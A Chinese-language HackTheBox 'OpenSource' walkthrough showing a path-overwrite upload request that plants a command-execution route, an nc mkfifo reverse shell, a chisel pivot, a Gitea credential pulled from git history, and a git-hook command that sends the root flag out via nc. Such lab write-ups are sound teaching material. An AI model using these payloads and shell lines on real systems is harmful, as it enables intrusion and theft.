HackTheBox-OpenSource


HackTheBox-OpenSource

源码审计

通过路径遍历获取Python源码的压缩包,解压发现存在问题的代码如下:

问题函数是一个文件上传函数,主要问题点在文件保存路径拼接处。file_name经过字符串处理,../等恶意字符串已过滤,问题出在Python的os.path.join()函数。

官方介绍如下,其中当一个拼接的路径是一个绝对路径时,该函数将抛弃之前的所有参数,返回值就由是绝对路径的参数控制

那么将上传文件的文件名参数设置成绝对路径,以此任意覆盖站点Python源码。只要控制文件名参数在过滤../后为绝对路径即可(或者直接为绝对路径),这里选择添加一个命令执行的路由覆盖原Python文件,数据包如下:

POST /upcloud HTTP/1.1
Host: 10.10.11.164
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10852647030022141372406507594
Content-Length: 1089
Origin: http://10.10.11.164
Connection: close
Referer: http://10.10.11.164//upcloud
Upgrade-Insecure-Requests: 1

-----------------------------10852647030022141372406507594
Content-Disposition: form-data; name="file"; filename="..//app/app/views.py"
Content-Type: image/jpeg

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')



@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))


@app.route('/exec')
def runcmd():
    return render_template('success.html',file_url=os.system(request.args.get('cmd')))
-----------------------------10852647030022141372406507594--

执行命令正常则返回0

User Flag

可执行命令之后,尝试反弹shell,使用nc反弹。

这里直接用sh -i >& /dev/tcp/ip/port 0>&1反弹一直失败,具体原因不知,使用如下命令可正常返回

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.14.91%2018080%20%3E%2Ftmp%2Ff

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.91 18080 >/tmp/f

成功反弹之后使用命令检查是否为docker容器,这里确认是docker

查看网络情况,常识可知在linux下安装docker后会新建一个docker0的网卡一般子网掩码为172.17.0.1/16,宿主机一般可通过172.17.0.1访问

这里使用chisel做一下socks代理,使用反向连接,攻击机本地监听一个端口

在攻击机使用python搭建简易http server,方便将chisel传输到受害主机。赋予足够的权限之后,反向连接攻击主机

在成功代理后,对宿主机172.17.0.1进行简单的端口探测,发现开放web 3000端口,尝试访问发现是搭建好的Gitea代码托管平台

到这里缺少继续的信息,继续在受害主机挖掘信息,还记得原先下载下来的源码仓库么,通过查看commit历史记录或许能挖掘到一些信息

通过查看分支发现存在dev分支,继续查看该分支的commit记录,翻找之后发现某条记录中存在登录认证信息:dev01:Soulless_Developer#2022

git show-branch  
git log dev --oneline   
git show a76f8f7

使用该账户密码成功登录宿主机的Gitea,在相应的仓库中发现ssh登录的私钥

下载到本地之后,赋予相应的权限,ssh成功登录宿主机,成功获得普通用户的flag

chmod 600 id_rsa 

Root Flag

获取用户权限之后尝试提权,首先查找高权限文件未果,这里使用pspy查看定时任务信息

发现root权限的git相关任务,其中git commit可触发hook脚本。可以修改pre-commit脚本,在其中添加我们需要执行的命令,在下次commit的时候触发执行

还是使用nc获取执行结果,攻击端执行

nc -lp 18083

将以下代码添加到 ~/.git/hooks/pre-commit.sample文件中

cat /root/root.txt |nc -nv 10.10.14.91 18083

修改文件名使hook脚本生效

mv pre-commit.sample pre-commit

成功获取root flag


文章作者: half90
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 half90 !
评论
  目录